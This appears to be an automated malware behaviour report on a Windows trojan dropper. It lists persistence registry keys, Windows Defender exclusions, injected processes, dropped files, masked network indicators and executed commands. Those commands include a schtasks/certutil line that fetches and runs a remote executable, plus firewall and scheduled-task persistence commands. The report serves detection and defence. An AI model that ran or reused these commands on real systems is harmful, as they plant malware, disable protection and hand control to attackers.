Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'DivineFlower' = '"%WINDIR%\rss\csrss.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\scheduledupdate
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\firefox default browser agent 087f219847786709
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\rss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\csrss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\DivineFlower' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wup' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<DRIVERS>' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'csrss.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'Graphics.exe' = '00000000'
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- <Current directory>\md9_1sjm.exe
- %TEMP%\ntkrnlmp.exe
- %TEMP%\osloader.exe
- %HOMEPATH%\documents\ei8dramayu9k8ghn89csjow1.dll
- %HOMEPATH%\pictures\adobe films\xzzq2rrvmeezwe81ovicpsd1.exe
- %TEMP%\pidhtsigei8dramayu9k8ghn89.dll
- %HOMEPATH%\pictures\adobe films\qcdxekcwdv9drtsd9srl6xww.exe
- %HOMEPATH%\pictures\adobe films\otnsirgc2xbhdmmnsehued7h.exe
- %HOMEPATH%\pictures\adobe films\kazpn2hp_pftjrm4ik2leicn.exe
- %HOMEPATH%\pictures\adobe films\qr52f_eoypb8yvub7jfxj0u1.exe
- %HOMEPATH%\pictures\adobe films\u8jiecsit4oaqmn2eyb_dymb.exe
- %HOMEPATH%\pictures\adobe films\ztrtcckew472ykmidzrw4bay.exe
- %HOMEPATH%\pictures\adobe films\lrwqrjiyt77w8wtbrt6jo_ns.exe
- %HOMEPATH%\pictures\adobe films\qezgsemadn680vkqu7hqc_1n.exe
- %HOMEPATH%\pictures\adobe films\vs9mttuvy9f95mlapifen7iw.exe
- %HOMEPATH%\pictures\adobe films\jnwzh2ssjtzdzlmn7wxdfcjz.exe
- %HOMEPATH%\pictures\adobe films\3it3bpwb7kcjhkn3jptbhzaz.exe
- %HOMEPATH%\pictures\adobe films\sgq9hicyn5kra68byymyz2lv.exe
- %HOMEPATH%\pictures\adobe films\zhi8wwedgbqd9ahwdzkrdeb0.exe
- %TEMP%\symsrv.dll
- %HOMEPATH%\pictures\adobe films\gk_zrvvv16o6sy6l5uyp24iy.exe
- %TEMP%\dbghelp.dll
- <Current directory>\details.exe
- <Current directory>\foxsbrowser.exe
- <Current directory>\folder.exe
- <Current directory>\graphics.exe
- <Current directory>\updbdate.exe
- <Current directory>\install.exe
- <Current directory>\file.exe
- <Current directory>\pub2.exe
- <Current directory>\files.exe
- %HOMEPATH%\documents\vlcpvideov1.0.1\md9_1sjm.exe
- %APPDATA%\jaidsfe
- %TEMP%\api-ms-win-core-namedpipe-l1-1-0.dll
- %TEMP%\axhub.dat
- %TEMP%\api-ms-win-core-string-l1-1-0.dll
- %TEMP%\axhub.dll
- <Current directory>\d
- <Current directory>\d-shm
- %WINDIR%\rss\csrss.exe
- nul
- %TEMP%\csrss\patch.exe
- %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
Sets the 'hidden' attribute to the following files
- %APPDATA%\jaidsfe
Deletes the following files
- %TEMP%\axhub.dat
- <Current directory>\d
- <Current directory>\d-shm
- <Current directory>\pub2.exe
- %HOMEPATH%\documents\ei8dramayu9k8ghn89csjow1.dll
- %HOMEPATH%\pictures\adobe films\qr52f_eoypb8yvub7jfxj0u1.exe
- %HOMEPATH%\pictures\adobe films\3it3bpwb7kcjhkn3jptbhzaz.exe
- %HOMEPATH%\pictures\adobe films\sgq9hicyn5kra68byymyz2lv.exe
- %HOMEPATH%\pictures\adobe films\zhi8wwedgbqd9ahwdzkrdeb0.exe
- %HOMEPATH%\pictures\adobe films\u8jiecsit4oaqmn2eyb_dymb.exe
Moves the following files
- from %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error to %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\ntkrnlmp.pdb
Substitutes the following files
- <Current directory>\d
- <Current directory>\d-shm
- %HOMEPATH%\pictures\adobe films\qr52f_eoypb8yvub7jfxj0u1.exe
- %HOMEPATH%\pictures\adobe films\3it3bpwb7kcjhkn3jptbhzaz.exe
- %HOMEPATH%\pictures\adobe films\sgq9hicyn5kra68byymyz2lv.exe
- %HOMEPATH%\pictures\adobe films\zhi8wwedgbqd9ahwdzkrdeb0.exe
- %HOMEPATH%\pictures\adobe films\u8jiecsit4oaqmn2eyb_dymb.exe
Network activity
Connects to
- '45.##3.1.182':80
- 'st#####louisville.com':80
- '19#.#33.48.74':80
- '19#.#06.191.190':80
- '21#.#93.30.29':80
- 'vs###########ssu5shard10.blob.core.windows.net':443
- '45.##4.225.57':80
- 'ip##fo.io':443
- 'msdl.microsoft.com':443
- 'x1.#.lencr.org':80
- 'cd#.##scordapp.com':443
- 'co###fine.at':80
- 'cd#.##scordapp.com':80
- 'pa###bin.com':443
- 'pr#####-s0ftwar3875.bar':443
- 'microsoft.com':80
- 'x2.#.lencr.org':80
- '45.#.20.20':13441
- '45.##3.1.107':80
- 'ip##pi.com':80
- '18#.2.171.3':443
- '18#.2.171.3':80
- 'li###ncode.com':443
- '21#.#93.30.21':80
- 'st#####louisville.com':443
TCP
HTTP GET requests
- http://18#.2.171.3/seemorebty/il.php?e=########
- http://ip##pi.com/json/
- http://x2.#.lencr.org/
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://x1.#.lencr.org/
- http://45.##4.225.57/download/NiceProcessX64.bmp
- http://21#.#93.30.21/base/api/statistics.php
- http://45.##4.225.57/download/Service.bmp
- http://19#.#06.191.190/SetupMEXX.exe
- http://21#.#93.30.29/WW/file1.exe
- http://21#.#93.30.29/WW/file3.exe
- http://19#.#33.48.74/rrmix.exe
- http://21#.#93.30.29/WW/file5.exe
- http://21#.#93.30.29/WW/file2.exe
- http://21#.#93.30.29/WW/file4.exe
- http://co###fine.at/vento/6523.exe
Other
- 'li###ncode.com':443
- '18#.2.171.3':443
- 'pa###bin.com':443
- 'cd#.##scordapp.com':80
- 'cd#.##scordapp.com':443
- 'msdl.microsoft.com':443
- 'ip##fo.io':443
- 'vs###########ssu5shard10.blob.core.windows.net':443
- 'st#####louisville.com':80
- 'st#####louisville.com':443
UDP
- DNS ASK li###ncode.com
- DNS ASK vs###########ssu5shard10.blob.core.windows.net
- DNS ASK kw##one.com
- DNS ASK ch####utoparts.com
- DNS ASK be####orsale.com
- DNS ASK go####plusstore.com
- DNS ASK ip##fo.io
- DNS ASK msdl.microsoft.com
- DNS ASK x1.#.lencr.org
- DNS ASK se#####.ninhaine.com
- DNS ASK 13############41cb-94cb-d9190279c085.ninhaine.com
- DNS ASK ni###bly.com
- DNS ASK st#####louisville.com
- DNS ASK 2m####torage.com
- DNS ASK cd#.##scordapp.com
- DNS ASK pa###bin.com
- DNS ASK pr#####-s0ftwar3875.bar
- DNS ASK on####miumstore.bar
- DNS ASK au######air-solutions.bar
- DNS ASK gu####eviews.bar
- DNS ASK st#####mg.youtuuee.com
- DNS ASK microsoft.com
- DNS ASK x2.#.lencr.org
- DNS ASK ip##pi.com
- DNS ASK go####.vrthcobj.com
- DNS ASK ni###ine.com
- DNS ASK co###fine.at
Miscellaneous
Adds a root certificate
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- '<Current directory>\md9_1sjm.exe'
- '%HOMEPATH%\pictures\adobe films\jnwzh2ssjtzdzlmn7wxdfcjz.exe'
- '%HOMEPATH%\pictures\adobe films\lrwqrjiyt77w8wtbrt6jo_ns.exe'
- '%HOMEPATH%\pictures\adobe films\ztrtcckew472ykmidzrw4bay.exe'
- '%HOMEPATH%\pictures\adobe films\vs9mttuvy9f95mlapifen7iw.exe'
- '%HOMEPATH%\pictures\adobe films\gk_zrvvv16o6sy6l5uyp24iy.exe'
- '%TEMP%\csrss\patch.exe'
- '%WINDIR%\rss\csrss.exe' /202-202
- '<Current directory>\details.exe'
- '%HOMEPATH%\pictures\adobe films\xzzq2rrvmeezwe81ovicpsd1.exe'
- '<Current directory>\pub2.exe'
- '<Current directory>\folder.exe' -a
- '<Current directory>\files.exe'
- '<Current directory>\graphics.exe'
- '<Current directory>\updbdate.exe'
- '<Current directory>\foxsbrowser.exe'
- '<Current directory>\folder.exe'
- '<Current directory>\file.exe'
- '<Current directory>\install.exe'
- '%HOMEPATH%\pictures\adobe films\7u9gyautxpgydwwenqunwhwk.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\u8jiecsit4oaqmn2eyb_dymb.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\ztrtcckew472ykmidzrw4bay.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\lrwqrjiyt77w8wtbrt6jo_ns.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\sgq9hicyn5kra68byymyz2lv.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\zhi8wwedgbqd9ahwdzkrdeb0.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\3it3bpwb7kcjhkn3jptbhzaz.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\jnwzh2ssjtzdzlmn7wxdfcjz.exe' ' (with hidden window)
- '%WINDIR%\rss\csrss.exe' /202-202' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\gk_zrvvv16o6sy6l5uyp24iy.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /T...' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\xzzq2rrvmeezwe81ovicpsd1.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
- '%TEMP%\csrss\patch.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\t9ijwfa1ipqcgl6x_pc4xy8a.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\vs9mttuvy9f95mlapifen7iw.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\qr52f_eoypb8yvub7jfxj0u1.exe' ' (with hidden window)
- '%HOMEPATH%\pictures\adobe films\jvtatz9rxlpmduvovcccz28h.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\rundll32.exe' "%TEMP%\axhub.dll",main
- '<SYSTEM32>\svchost.exe' -k SystemNetworkService
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" /T...
